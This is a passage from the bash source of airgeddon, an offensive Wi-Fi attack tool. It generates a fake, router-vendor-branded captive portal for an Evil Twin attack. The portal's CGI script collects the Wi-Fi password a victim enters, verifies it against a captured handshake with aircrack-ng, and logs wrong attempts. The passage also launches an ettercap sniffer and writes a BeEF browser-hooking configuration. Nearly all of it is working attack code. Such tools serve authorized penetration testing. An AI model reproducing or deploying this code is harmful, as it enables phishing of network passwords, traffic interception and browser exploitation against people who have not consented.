MmgwLjl2MC4yaDAuMXptMS40LTAuMmgtMC4ybC0wLjQgMC45LTAuNS0wLjloLTAuMnYxLjJoMC4ydi0wLjlsMC40IDAuOGgwLjFsMC40LTAuOHYwLjhoMC4ydi0xLjF6Ii8+Cgo8L3N2Zz4K'
										["Mercusys"]='#DF6562 #AB4746 #BFBFBF data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAO0AAAAZCAMAAADqkFmyAAAARVBMVEVHcEz///////////////////////////////////////////////////////////////////////////////////////9X1DS3AAAAFnRSTlMA/nfh+PMK0/zrryxSvxuUQGCFyqNtwmvZmgAAA+NJREFUWMO9mInSnCAMgOUWDzx33/9RCyiQAK57dP7MtLWLgXwkJMGm+RsZ1n1TjGnGmBr3xbylZNaRCd464VyzraNv6UkK1IRT68MQcdKKFSswcoiwzxu5Eh70yxE1A1LVPq34Af+3fR6bRtunCS66BO3N2zx6rUzavnVvLBiPB03WyI77xc73w7/nm2GaDarPcXJH/rwUoF9ImHAWtVFL66zq4Ko0DDL7n5VcLLl5uyTyTRgk/UIuLYW0T7hd+ndaQjqM4H/kwgon97T0eknncsKA3hoH6fDCUkQrKq7FtFplMkL98zcWN5e4/QfL8ymdur6/oU1RzIU77FprexSJM/uYkqa5SAqYFEdtroZpgb6u09JaSsh3rzFxcZcLOIxdLK9oTdgxIbMMZP+MfiRunQD+iltkSjVMy0vXfkOb3rcn9xGHdfMJ7ZCyUmVNDiccYyyZZA0Z6ukaxPZUuPY3WgXP/PIRLdhwNheax+h+JPwIuCAaPdzQtg3W/w+08fiR5iNaCTOMKHaq8787t8u4gp8KZmS+1qzlsTZ1uWt/pi2PyXu0yAiX4DJdEfJqWIwcga1gAXi2uyxpJ5RFFz9RjXYfgjyoF3NHK2sZ/y3aPqubpEOG92fii8XnLMCSZ2qbyWlT4hyPbSOCvVVvaZVWJ9r+RZK66S76vCkhI+Td/U+pKofDLXVupDIZ7QM417t2+IE2JZjuF1p7OPO2iHR5LBcJ1spUdFObRLRJVflH3XxBKw4BodT/RttIVXTJKV8ZCKVQbR2LbVoRbfLHeoQFuzi3PRL5qk9+ok6Lf0FrkbZ80qQwPS8nL3kVpEX+c+mNfZ6Tq3Y9y2P9CW1pOHmU+YFUOpAdX6DIDml7ODR/RcsPgekdNo5l8RN5CK7VwMwMZ6VzWbVtWlF6FpC22fB87Ot6K1DIqRehrFNDk/WAeUtN+bNSym5obS0VRed02iEJSC6YVn1ES5Fz55pTYEM05u2vk0fpKPIFreVt67RnMxbCCNJ21Qv/ZS/VorcZuNuC3ZL2tBjcz6Zbv+syVzV2Ex36wu+vI3lRG1Jb65GcrDQ5rblMRG2NNhphyuaGa+1vnMQv2oErPie4eHbowwCJX1zOu8AVLcVqJP+SEmknmCEg7dG33H67iCsSZISsl+s8WeTJfL1YEXSgNdr5yi8yoz0zuilpUZa4p52ybm5g5IK2eZQTi6G4iMG6KV/TXhREFrpHSuNFkE7TdDYr89H209C7mPMegOXh9dNz9nIqg0PHbKymbzhch0I7bCLdCjnbg1mSaaBwjk7oZmDC0vACrEo1vb/3PffvRF6PHPL5jDW1f+Bx7uGP7kSnAAAAAElFTkSuQmCC'
										["Mitrastar"]='#70A0D4 #E3E6E5 #B2B2B2 data:image/png;base64, '
										["Motorola"]='#0033FF #000106 #CCCCCC data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjwhLS0gR2VuZXJhdG9yOiBBZG9iZSBJbGx1c3RyYXRvciAxNC4wLjAsIFNWRyBFeHBvcnQgUGx1Zy1JbiAuIFNWRyBWZXJzaW9uOiA2LjAwIEJ1aWxkIDQzMzYzKSAgLS0+Cgo8c3ZnCiAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIKICAgeG1sbnM6Y2M9Imh0dHA6Ly9jcmVhdGl2ZWNvbW1vbnMub3JnL25zIyIKICAgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIgogICB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIgogICB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciCiAgIHhtbG5zOnNvZGlwb2RpPSJodHRwOi8vc29kaXBvZGkuc291cmNlZm9yZ2UubmV0L0RURC9zb2RpcG9kaS0wLmR0ZCIKICAgeG1sbnM6aW5rc2NhcGU9Imh0dHA6Ly93d3cuaW5rc2NhcGUub3JnL25hbWVzcGFjZXMvaW5rc2NhcGUiCiAgIHZlcnNpb249IjEuMSIKICAgaWQ9IkxheWVyXzEiCiAgIHg9IjBweCIKICAgeT0iMHB4IgogICB3aWR0aD0iNDQuOTU0OTk4IgogICBoZWlnaHQ9IjQ0Ljk1NDk5OCIKICAgdmlld0JveD0iMCAwIDQ0Ljk1NDk5OCA0NC45NTQ5OTgiCiAgIHhtbDpzcGFjZT0icHJlc2VydmUiCiAgIGlua3NjYXBlOnZlcnNpb249IjAuNDguMiByOTgxOSIKICAgc29kaXBvZGk6ZG9jbmFtZT0iTSBCTFVFLnN2ZyI+PG1ldGFkYXRhCiAgIGlkPSJtZXRhZGF0YTI5Ij48cmRmOlJERj48Y2M6V29yawogICAgICAgcmRmOmFib3V0PSIiPjxkYzpmb3JtYXQ+aW1hZ2Uvc3ZnK3htbDwvZGM6Zm9ybWF0PjxkYzp0eXBlCiAgICAgICAgIHJkZjpyZXNvdXJjZT0iaHR0cDovL3B1cmwub3JnL2RjL2RjbWl0eXBlL1N0aWxsSW1hZ2UiIC8+PGRjOnRpdGxlPjwvZGM6dGl0bGU+PC9jYzpXb3JrPjwvcmRmOlJERj48L21ldGFkYXRhPjxkZWZzCiAgIGlkPSJkZWZzMjciPjxpbmtzY2FwZTpwZXJzcGVjdGl2ZQogICBzb2RpcG9kaTp0eXBlPSJpbmtzY2FwZTpwZXJzcDNkIgogICBpbmtzY2FwZTp2cF94PSIwIDogMjcgOiAxIgogICBpbmtzY2FwZTp2cF95PSIwIDogMTAwMCA6IDAiCiAgIGlua3NjYXBlOnZwX3o9IjI1MCA6IDI3IDogMSIKICAgaW5rc2NhcGU6cGVyc3AzZC1vcmlnaW49IjEyNSA6IDE4IDogMSIKICAgaWQ9InBlcnNwZWN0aXZlMzEiIC8+CgkKCQoJCgkKCQoJCgkKCQoJCgkKPC9kZWZzPjxzb2RpcG9kaTpuYW1lZHZpZXcKICAgcGFnZWNvbG9yPSIjZmZmZmZmIgogICBib3JkZXJjb2xvcj0iIzY2NjY2NiIKICAgYm9yZGVyb3BhY2l0eT0iMSIKICAgb2JqZWN0dG9sZXJhbmNlPSIxMCIKICAgZ3JpZHRvbGVyYW5jZT0iMTAiCiAgIGd1aWRldG9sZXJhbmNlPSIxMCIKICAgaW5rc2NhcGU6cGFnZW9wYWNpdHk9IjAiCiAgIGlua3NjYXBlOnBhZ2VzaGFkb3c9IjIiCiAgIGlua3NjYXBlOndpbmRvdy13aWR0aD0iMTYwMCIKICAgaW5rc2NhcGU6d2luZG93LWhlaWdodD0iODM3IgogICBpZD0ibmFtZWR2aWV3MjUiCiAgIHNob3dncmlkPSJmYWxzZSIKICAgaW5rc2NhcGU6em9vbT0iMi4xNiIKICAgaW5rc2NhcGU6Y3g9IjEyMCIKICAgaW5rc2NhcGU6Y3k9IjIyLjQ3Njk5OCIKICAgaW5rc2NhcGU6d2luZG93LXg9Ii04IgogICBpbmtzY2FwZTp3aW5kb3cteT0iLTgiCiAgIGlua3NjYXBlOndpbmRvdy1tYXhpbWl6ZWQ9IjEiCiAgIGlua3NjYXBlOmN1cnJlbnQtbGF5ZXI9IkxheWVyXzEiCiAgIGZpdC1tYXJnaW4tdG9wPSIwIgogICBmaXQtbWFyZ2luLWxlZnQ9IjAiCiAgIGZpdC1tYXJnaW4tcmlnaHQ9IjAiCiAgIGZpdC1tYXJnaW4tYm90dG9tPSIwIiAvPgo8cGF0aAogICBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIgogICBpZD0icGF0aDUiCiAgIGQ9Im0gNDEuOTQ5LDIyLjgyNCBjIDAsMTAuNzQyIC04LjcxLDE5LjQ1MyAtMTkuNDU0LDE5LjQ1MyBDIDExLjc1MSw0Mi4yNzcgMy4wNDE5OTk1LDMzLjU2NiAzLjA0MTk5OTUsMjIuODI0IDMuMDQxOTk5NSwxMi4wNzggMTEuNzUxLDMuMzcgMjIuNDk1LDMuMzcgYyAxMC43NDQsMCAxOS40NTQsOC43MDggMTkuNDU0LDE5LjQ1NCIKICAgc3R5bGU9ImZpbGw6I2ZmZmZmZiIgLz48cGF0aAogICBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIgogICBpZD0icGF0aDciCiAgIGQ9Im0gMjIuNDc0LDAgYyAxMi41NzksMCAyMi40ODEsMTAuMTM0IDIyLjQ4MSwyMi40NzcgMCwxMi40MTYgLTEwLjA2NywyMi40NzggLTIyLjQ4MSwyMi40NzggQyAxMC4wNjIsNDQuOTU2IC00LjUwOTcxNzllLTcsMzQuODkzIC00LjUwOTcxNzllLTcsMjIuNDc4IC00LjUwOTcxNzllLTcsMTAuMDYxIDEwLjA2MiwwIDIyLjQ3NCwwIE0gMjIuNDI0LDI3LjE5MSAxNi4xMzcsNi4zMjkgNy45OTU5OTk1LDMzLjAzOSBoIDEuNTI3IGMgMCwwIDEuMDI3MDAwNSwtNC42NDYgMi42OTcwMDA1LC03LjQyMSAwLjkwOSwtMS41MDcgMi4zMSwtMi43MzkgNC4xODMsLTIuNzA1IDEuMzE5LDAuMDI2IDIuNDYyLDAuNzQ3IDMuODg5LDIuNzQzIDAuODU4LDEuMTk1IDIuMTc5LDQuMjQ0IDIuMTc5LDQuMjQ0IDAsMCAxLjMyMiwtMy4wNDUgMi4xODMsLTQuMjQ0IDEuNDIzLC0xLjk5NiAyLjU2NiwtMi43MTcgMy44ODksLTIuNzQzIDEuODcxLC0wLjAzNCAzLjI3NSwxLjE5OCA0LjE4LDIuNzA4IDEuNjcxLDIuNzcxIDIuNjk3LDcuNDE4IDIuNjk3LDcuNDE4IGggMS41MzEgbCAtOC4xNDYsLTI2LjcxIC02LjI4NiwyMC44NjIgLTAuMDQ1LDAuMDM3IC0wLjA1LC0wLjAzNyB6IgogICBzdHlsZT0iZmlsbDojMDAwMDAwIiAvPgo8L3N2Zz4='
										["Netgear"]='#D9D9D9 #330099 #D6D6D6 data:image/png;base64, '
										["Samsung"]='#C3D1DC #1428A0 #A6A6A6 data:image/svg+xml;base64, '
										["SMC"]='#B3C9E0 #4F4F4F #CCCCCC data:image/png;base64, '
										["Sphairon"]='#F2F2F2 #599BD7 #222222 data:image/png;base64, '
										["Technicolor"]='#B2B2B2 ##E6E6E6 #696969 data:image/png;base64, '
										["Teldat"]='#599BD7 #2F2145 #D6D6D6 data:image/png;base64, '
										["TP-Link"]='#3F3F3F #54E8E4 #B3B3B3 data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA0MjAgMTYwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgoJPHBhdGggZD0ibTAgMTExLjM2YzAgNC4xNTk5IDMuNDc1OSA4LjMxOTggOC4yMTU4IDguMzE5OGgzMS42MTV2MzIuMDAzYzAgNC4xNTk5IDMuNDc1OSA4LjMxOTggOC4yMTU4IDguMzE5OGgyNy4wMzF2LTc2LjAwMmgtNzUuMDc4em0xMDAuMjEtMTExLjM2Yy0zMy4wMzUgMC01OS40MjcgMjYuNTU5LTU5LjQyNyA1OS4zNTV2MTIuNjQ0aDMzLjE4N3YtMTIuNjQ0YzAtMTQuMjM2IDExLjU0LTI1Ljc1NSAyNi4yMzktMjUuNzU1IDE0LjU0IDAgMjQuNjU5IDEwLjIzNiAyNC42NTkgMjUuNDM1IDAgMTUuMDQ0LTEwLjkwOCAyNi4wODMtMjUuNDU1IDI2LjA4M2gtMTIuNDg0djMzLjU5MWgxMi40ODRjMzIuNDExIDAgNTguNjUxLTI2LjcxMSA1OC42NTEtNTkuNjc5IDAtMzQuMjMxLTI0LjQ5OS01OS4wMzEtNTcuODU1LTU5LjAzMSIgZmlsbD0iIzRhY2JkNiIvPgoJPHBhdGggZD0ibTQyMCAxMTkuNjgtMjAuNzExLTIzLjY3NSAxOC40OTYtMjEuMjgzaC0xMS41NDhsLTE2LjU4OCAxOS44NHYtNDAuMTUxbC05LjgwMzggNC45NTU5djU3Ljc1OWMwIDEuNDM2IDEuMTA0IDIuNTU5OSAyLjM3MTkgMi41NTk5aDcuNDMxOHYtMjIuMzk5bDE4LjMzMiAyMi4zOTloMTIuMDJ6bS03MC44MTgtNDYuMjQzYy03LjkwNzggMC0xNi4xMjggNC4xNjc5LTIwLjIzNiAxMC4yNDR2MzMuNTk5YzAgMS4yNzYgMS4xMTIgMi40IDIuMzcxOSAyLjRoNy40MzE4di0zMS45OTljMi4zNjM5LTMuMDM1OSA2LjE2MzgtNC45NTU5IDEwLjQzMi00Ljk1NTkgNi43OTU4IDAgMTEuNjkyIDUuNDM1OSAxMS42OTIgMTIuNjM2djI0LjMxOWg5LjY0Mzh2LTI0LjYzOWM0ZS0zIC0xMi4zMTYtOS4xNjc4LTIxLjYwMy0yMS4zMzUtMjEuNjAzbS0zNS4wOTEtMTkuOTkyYy0zLjYzMTkgMC02LjYzOTggMi44ODM5LTYuNjM5OCA2LjU1OTggMCAxLjc2IDAuNjI3OTkgMy4xOTU5IDEuNzM2IDQuMzE5OWg5LjgwMzhjMS4xMDQtMS4xMjQgMS43MzYtMi41NTk5IDEuNzM2LTQuMzE5OSA0ZS0zIC0zLjY3OTktMi45OTk5LTYuNTU5OC02LjYzNTgtNi41NTk4bTQuOTAzOSA2Ni4yMzR2LTQ0Ljk1OWgtOS44MDM4djQyLjU1OWMwIDEuMjc2IDEuMTEyIDIuNCAyLjM3MTkgMi40em0tMjkuNTYzLTIuNGMwIDEuMjc2IDEuMTEyIDIuNCAyLjM3MiAyLjRoNy40MzE4di02NS4yN2wtOS44MDM4IDQuOTU1OXptLTIxLjk3MS0xNS4xOTZoMTMuMjh2LTkuOTIzN2gtMTguMDI0em0tMzQuNjE1LTI4LjE1OWMtOC4zNzU4IDAtMTcuMjI4IDQuNDc5OS0yMS42NTUgMTEuMDR2NDkuMjcxYzAgMS4yODQgMS4xMDQgMi40IDIuMzcxOSAyLjRoNy40MjM4di00Ny42NzFjMi4zNzE5LTMuNTIzOSA2Ljc5OTgtNS43NjM5IDExLjctNS43NjM5IDcuNTgzOCAwIDEzLjEyIDUuNzYzOSAxMy4xMiAxMy45MiAwIDguMDAzOC01LjUzNTkgMTQuMDg0LTEzLjEyIDE0LjA4NGgtNi45NTU4djguNDc5OGg3LjExNThjMTMuMTIgMCAyMi43NTktOS40Mzk4IDIyLjc1OS0yMi41NTktNGUtMyAtMTMuMjg0LTkuNzk5OC0yMy4xOTktMjIuNzU5LTIzLjE5OW0tNDMuOTQzIDMwLjcxMXYtMjEuMTE1aDEyLjY0NHYtOC43OTk4aC0xMi42NDR2LTEzLjU5MmwtOS44MDM4IDQuOTU1OXY0MC42NDNjMCA4LjMxNTggNC44OTk5IDEyLjk2IDEzLjU5NiAxMi45NmgxMi42NDR2LTguNDc5OGgtMTAuMTEyYy00Ljc0NzktNGUtMyAtNi4zMjM4LTEuNzcyLTYuMzIzOC02LjU3MTgiLz4KPC9zdmc+Cg=='
										["Ubiquiti"]='#1D1F2E #006FFF #E0E0E0 data:image/svg+xml;base64, '
										["Vantiva"]='#B2B2B2 #E70000 #696969 data:image/png;base64, '
										["Xavi"]='#03329A #5B5B5B #6487DB data:image/svg+xml;base64, '
										["ZTE"]='#2C990D #E1F1D4 #CCCCCC data:image/svg+xml;base64, '
										["Zyxel"]='#2A3A86 #5B5B5B #696969 data:image/png;base64, '
									)

		hex_val1=$(echo "${bssid}" | cut -c 1-2)
		hex_val2=$(echo "${bssid}" | cut -c 4-5)
		hex_val3=$(echo "${bssid}" | cut -c 7-8)
		cp_mac_address="${hex_val1}${hex_val2}${hex_val3}"
		cp_vendor_detected="0"
		routervendor=""
		for routervendor in "${!cp_router_vendors[@]}"; do
			if [[ "${cp_router_vendors[${routervendor}]}" =~ ${cp_mac_address} ]]; then
				echo
				language_strings "${language}" 713 "blue"

				captive_portal_brand="${routervendor}"
				captive_portal_data="${cp_router_colors[$routervendor]}"
				captive_portal_bg_color=$(echo "${captive_portal_data}" | cut -d " " -f 1)
				captive_portal_button_color=$(echo "${captive_portal_data}" | cut -d " " -f 2)
				captive_portal_shadow_color=$(echo "${captive_portal_data}" | cut -d " " -f 3)
				captive_portal_img=$(echo "${captive_portal_data}" | cut -d " " -f 4)
				captive_portal_logo='\t\t\t\t<div class="logo">\n\t\t\t\t\t\t\t<img src="'${captive_portal_img}'" title="Logo" style="display: block; margin: auto; width: 200px;"/>\n\t\t\t\t\t\t</div>'
				cp_vendor_detected="1"
				break
			fi
		done

		if [ "${cp_vendor_detected}" = "0" ]; then
			echo
			language_strings "${language}" 714 "yellow"

			captive_portal_brand="airgeddon_default"
			captive_portal_bg_color="#1b5e20"
			captive_portal_button_color="#43a047"
			captive_portal_shadow_color="#69f0ae"
			captive_portal_logo=""
		fi
	else
		captive_portal_brand="airgeddon_default"
		captive_portal_bg_color="#1b5e20"
		captive_portal_button_color="#43a047"
		captive_portal_shadow_color="#69f0ae"
		captive_portal_logo=""
	fi
}

#Create captive portal files. CGI bash scripts, CSS and JS file
function set_captive_portal_page() {

	debug_print

	{
	echo -e "body * {"
	echo -e "\tbox-sizing: border-box;"
	echo -e "\tfont-family: Helvetica, Arial, sans-serif;"
	echo -e "}\n"
	echo -e ".button {"
	echo -e "\tcolor: #ffffff;"
	echo -e "\tbackground-color: ${captive_portal_button_color};"
	echo -e "\tborder-radius: 5px;"
	echo -e "\tcursor: pointer;"
	echo -e "\theight: 30px;"
	echo -e "}\n"
	echo -e ".content {"
	echo -e "\twidth: 100%;"
	echo -e "\tbackground-color: ${captive_portal_bg_color};"
	echo -e "\tpadding: 20px;"
	echo -e "\tmargin: 15px auto 0;"
	echo -e "\tborder-radius: 15px;"
	echo -e "\tcolor: #ffffff;"
	echo -e "}\n"
	echo -e ".title {"
	echo -e "\ttext-align: center;"
	echo -e "\tmargin-bottom: 15px;"
	echo -e "}\n"
	echo -e "#password {"
	echo -e "\twidth: 100%;"
	echo -e "\tmargin-bottom: 5px;"
	echo -e "\tborder-radius: 5px;"
	echo -e "\theight: 30px;"
	echo -e "}\n"
	echo -e "#password:hover,"
	echo -e "#password:focus {"
	echo -e "\tbox-shadow: 0 0 10px ${captive_portal_shadow_color};"
	echo -e "}\n"
	echo -e ".bold {"
	echo -e "\tfont-weight: bold;"
	echo -e "}\n"
	echo -e "#showpass {"
	echo -e "\tvertical-align: top;"
	echo -e "}\n"
	echo -e "@media screen and (min-width: 1000px) {"
	echo -e "\t.content {"
	echo -e "\t\twidth: 50%;"
	echo -e "\t\tposition: absolute;"
	echo -e "\t\ttop: 50%;"
	echo -e "\t\tleft: 50%;"
	echo -e "\t\ttransform: translate(-50%, -50%);"
	echo -e "\t}"
	echo -e "}\n"
	} >> "${tmpdir}${webdir}${cssfile}"

	{
	echo -e "(function() {\n"
	echo -e "\tvar onLoad = function() {"
	echo -e "\t\tvar password = document.getElementById(\"password\");"
	echo -e "\t\tvar toggle = document.getElementById(\"showpass\");"
	echo -e "\t\tif (password) {"
	echo -e "\t\t\tpassword.oninvalid = function() {"
	echo -e "\t\t\t\tthis.setCustomValidity(\"${et_misc_texts[${captive_portal_language},16]}\");"
	echo -e "\t\t\t};"
	echo -e "\t\t\tpassword.oninput = function() {"
	echo -e "\t\t\t\tthis.setCustomValidity(\"\");"
	echo -e "\t\t\t};"
	echo -e "\t\t}\n"
	echo -e "\t\tif (password && toggle) {"
	echo -e "\t\t\ttoggle.addEventListener(\"click\", function() {"
	echo -e "\t\t\t\tpassword.setAttribute(\"type\", password.type === \"text\" ? \"password\" : \"text\");"
	echo -e "\t\t\t});"
	echo -e "\t\t\ttoggle.checked = false;"
	echo -e "\t\t}"
	echo -e "\t};\n"
	echo -e "\tif (document.readyState !== 'loading') onLoad(); else document.addEventListener('DOMContentLoaded', onLoad);"
	echo -e "})();\n"
	echo -e "function redirect() {"
	echo -e "\tdocument.location = \"${indexfile}\";"
	echo -e "}\n"
	} >> "${tmpdir}${webdir}${jsfile}"

	{
	echo -e "#!/usr/bin/env bash"
	echo -e "echo '<!DOCTYPE html>'"
	echo -e "echo '<html>'"
	echo -e "echo -e '\t<head>'"
	echo -e "echo -e '\t\t<meta name=\"viewport\" content=\"width=device-width\"/>'"
	echo -e "echo -e '\t\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>'"
	echo -e "echo -e '\t\t<title>${et_misc_texts[${captive_portal_language},15]}</title>'"
	echo -e "echo -e '\t\t<link rel=\"stylesheet\" type=\"text/css\" href=\"${cssfile}\"/>'"
	echo -e "echo -e '\t\t<script type=\"text/javascript\" src=\"${jsfile}\"></script>'"
	echo -e "echo -e '\t</head>'"
	echo -e "echo -e '\t<body>'"
	echo -e "echo -e '\t\t<img src=\"${pixelfile}\" style=\"display: none;\"/>'"
	echo -e "echo -e '\t\t<div class=\"content\">'"
	echo -e "echo -e '\t\t\t<form method=\"post\" id=\"loginform\" name=\"loginform\" action=\"check.htm\">'"
	if [ "${advanced_captive_portal}" -eq 1 ]; then
		echo -e "echo -e '${captive_portal_logo}'"
	fi
	echo -e "echo -e '\t\t\t\t<div class=\"title\">'"
	echo -e "echo -e '\t\t\t\t\t<p>${et_misc_texts[${captive_portal_language},9]}</p>'"
	echo -e "echo -e '\t\t\t\t\t<span class=\"bold\">${essid//[\`\']/}</span>'"
	echo -e "echo -e '\t\t\t\t</div>'"
	echo -e "echo -e '\t\t\t\t<p>${et_misc_texts[${captive_portal_language},10]}</p>'"
	echo -e "echo -e '\t\t\t\t<label>'"
	echo -e "echo -e '\t\t\t\t\t<input id=\"password\" type=\"password\" name=\"password\" maxlength=\"63\" size=\"20\" placeholder=\"${et_misc_texts[${captive_portal_language},11]}\" pattern=\".{8,}\" required/><br/>'"
	echo -e "echo -e '\t\t\t\t</label>'"
	echo -e "echo -e '\t\t\t\t<p>${et_misc_texts[${captive_portal_language},12]} <input type=\"checkbox\" id=\"showpass\"/></p>'"
	echo -e "echo -e '\t\t\t\t<button class=\"button\" type=\"submit\">${et_misc_texts[${captive_portal_language},13]}</button>'"
	echo -e "echo -e '\t\t\t</form>'"
	echo -e "echo -e '\t\t</div>'"
	echo -e "echo -e '\t</body>'"
	echo -e "echo '</html>'"
	echo -e "exit 0"
	} >> "${tmpdir}${webdir}${indexfile}"

	base64 -d <<< "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAA1JREFUGFdj+P///38ACfsD/QVDRcoAAAAASUVORK5CYII=" > "${tmpdir}${webdir}${pixelfile}"

	exec 4>"${tmpdir}${webdir}${checkfile}"

	cat >&4 <<-EOF
		#!/usr/bin/env bash

		echo '<!DOCTYPE html>'
		echo '<html>'
		echo -e '\t<head>'
		echo -e '\t\t<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>'
		echo -e '\t\t<title>${et_misc_texts[${captive_portal_language},15]}</title>'
		echo -e '\t\t<link rel="stylesheet" type="text/css" href="${cssfile}"/>'
		echo -e '\t\t<script type="text/javascript" src="${jsfile}"></script>'
		echo -e '\t</head>'
		echo -e '\t<body>'
		echo -e '\t\t<div class="content">'
		echo -e '\t\t\t<center><p>'

		POST_DATA=\$(cat /dev/stdin)
		if [[ "\${REQUEST_METHOD}" = "POST" ]] && [[ "\${CONTENT_LENGTH}" -gt 0 ]]; then
			POST_DATA=\${POST_DATA#*=}
			password=\${POST_DATA//+/ }
			password=\${password//[*&\/?<>]}
			password=\$(printf '%b' "\${password//%/\\\x}")
			password=\${password//[*&\/?<>]}
		fi

		if [[ "\${#password}" -ge 8 ]] && [[ "\${#password}" -le 63 ]]; then
			rm -rf "${tmpdir}${webdir}${currentpassfile}" > /dev/null 2>&1
			echo "\${password}" > "${tmpdir}${webdir}${currentpassfile}"
			if aircrack-ng -a 2 -b ${bssid} -w "${tmpdir}${webdir}${currentpassfile}" "${et_handshake}" | grep "KEY FOUND!" > /dev/null; then
				touch "${tmpdir}${webdir}${et_successfile}" > /dev/null 2>&1
				echo '${et_misc_texts[${captive_portal_language},18]}'
				et_successful=1
			else
				echo "\${password}" >> "${tmpdir}${webdir}${attemptsfile}"
				echo '${et_misc_texts[${captive_portal_language},17]}'
				et_successful=0
			fi
		elif [[ "\${#password}" -gt 0 ]] && [[ "\${#password}" -lt 8 ]]; then
			echo '${et_misc_texts[${captive_portal_language},26]}'
			et_successful=0
		else
			echo '${et_misc_texts[${captive_portal_language},14]}'
			et_successful=0
		fi

		echo -e '\t\t\t</p></center>'
		echo -e '\t\t</div>'
		echo -e '\t</body>'
		echo '</html>'

		if [ "\${et_successful}" -eq 1 ]; then
			exit 0
		else
			echo '<script type="text/javascript">'
			echo -e '\tsetTimeout("redirect()", 3500);'
			echo '</script>'
			exit 1
		fi
	EOF

	exec 4>&-
	sleep 3
}

#Launch lighttpd webserver for captive portal Evil Twin attack
function launch_webserver() {

	debug_print

	recalculate_windows_sizes
	lighttpd_window_position=${g4_bottomright_window}
	manage_output "+j -bg \"#000000\" -fg \"#FFFF00\" -geometry ${lighttpd_window_position} -T \"Webserver\"" "lighttpd -D -f \"${tmpdir}${webserver_file}\"" "Webserver"
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		et_processes+=($!)
	else
		get_tmux_process_id "lighttpd -D -f \"${tmpdir}${webserver_file}\""
		et_processes+=("${global_process_pid}")
		global_process_pid=""
	fi
}

#Launch ettercap sniffer
function launch_ettercap_sniffing() {

	debug_print

	recalculate_windows_sizes
	case ${et_mode} in
		"et_sniffing")
			sniffing_scr_window_position=${g3_bottomright_window}
		;;
	esac
	ettercap_cmd="ettercap -i ${interface} -q -T -z -S -u"
	if [ "${ettercap_log}" -eq 1 ]; then
		ettercap_cmd+=" -l \"${tmp_ettercaplog}\""
	fi

	manage_output "-hold -bg \"#000000\" -fg \"#FFFF00\" -geometry ${sniffing_scr_window_position} -T \"Sniffer\"" "${ettercap_cmd}" "Sniffer"
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		et_processes+=($!)
	else
		get_tmux_process_id "${ettercap_cmd}"
		et_processes+=("${global_process_pid}")
		global_process_pid=""
	fi
}

#Create configuration file for beef
function set_beef_config() {

	debug_print

	rm -rf "${tmpdir}${beef_file}" > /dev/null 2>&1

	beef_db_path=""
	if [ -d "${beef_path}db" ]; then
		beef_db_path="db/${beef_db}"
	else
		beef_db_path="${beef_db}"
	fi

	local permitted_ui_subnet
	local permitted_ui_ipv6
	if compare_floats_greater_or_equal "${bettercap_version}" "${minimum_bettercap_fixed_beef_iptables_issue}"; then
		permitted_ui_subnet="${loopback_ip}/${ip_mask_cidr}"
		permitted_ui_ipv6="${loopback_ipv6}"
	else
		permitted_ui_subnet="${any_ip}/${any_mask_cidr}"
		permitted_ui_ipv6="${any_ipv6}"
	fi

	local permitted_hooking_subnet
	local beef_panel_restriction
	if compare_floats_greater_or_equal "${beef_version}" "${beef_needed_brackets_version}"; then
		permitted_hooking_subnet="        permitted_hooking_subnet: [\"${et_ip_range}/${std_c_mask_cidr}\", \"${any_ipv6}\"]"
		beef_panel_restriction="        permitted_ui_subnet: [\"${permitted_ui_subnet}\", \"${permitted_ui_ipv6}\"]"
	else
		permitted_hooking_subnet="        permitted_hooking_subnet: \"${et_ip_range}/${std_c_mask_cidr}\""
		beef_panel_restriction="        permitted_ui_subnet: \"${permitted_ui_subnet}\""
	fi

	{
	echo -e "beef:"
	echo -e "    version: 'airgeddon integrated'"
	echo -e "    debug: false"
	echo -e "    client_debug: false"
	echo -e "    crypto_default_value_length: 80"
	echo -e "    restrictions:"
	echo -e "${permitted_hooking_subnet}"
	echo -e "${beef_panel_restriction}"
	echo -e "    http:"
	echo -e "        debug: false"
	echo -e "        host: \"${any_ip}\""
	echo -e "        port: \"${beef_port}\""
	echo -e "        dns_host: \"localhost\""
	echo -e "        dns_port: ${dns_port}"
	echo -e "        web_ui_basepath: \"/ui\""
	echo -e "        hook_file: \"/${jshookfile}\""
	echo -e "        hook_session_name: \"BEEFHOOK\""
	echo -e "        session_cookie_name: \"BEEFSESSION\""
	echo -e "        web_server_imitation:"
	echo -e "            enable: true"
	echo -e "            type: \"apache\""
	echo -e "            hook_404: false"
	echo -e "            hook_root: false"
	echo -e "        websocket:"
	echo -e "            enable: false"
	echo -e "    database:"
	echo -e "        driver: \"sqlite\""
	echo -e "        file: \"${beef_db_path}\""
	echo -e "        db_file: \"${beef_db_path}\""
	echo -e "    credentials:"
	echo -e "        user: \"beef\""
	echo -e "        passwd: \"${beef_pass}\""
	echo -e "    autorun:"
	echo -e "        enable: true"
	echo -e "        result_poll_interval: 300"
	echo -e "        result_poll_timeout: 5000"
	echo -e "        continue_after_timeout: true"
	echo -e "    dns_hostname_lookup: false"
	echo -e "    integration:"
	echo -e "        phishing_frenzy:"
	echo -e "            enable: false"
	echo -e "    extension:"
	echo -e "        requester:"
	echo -e "            enable: true"
	echo -e "        proxy:"
	echo -e "            enable: true"
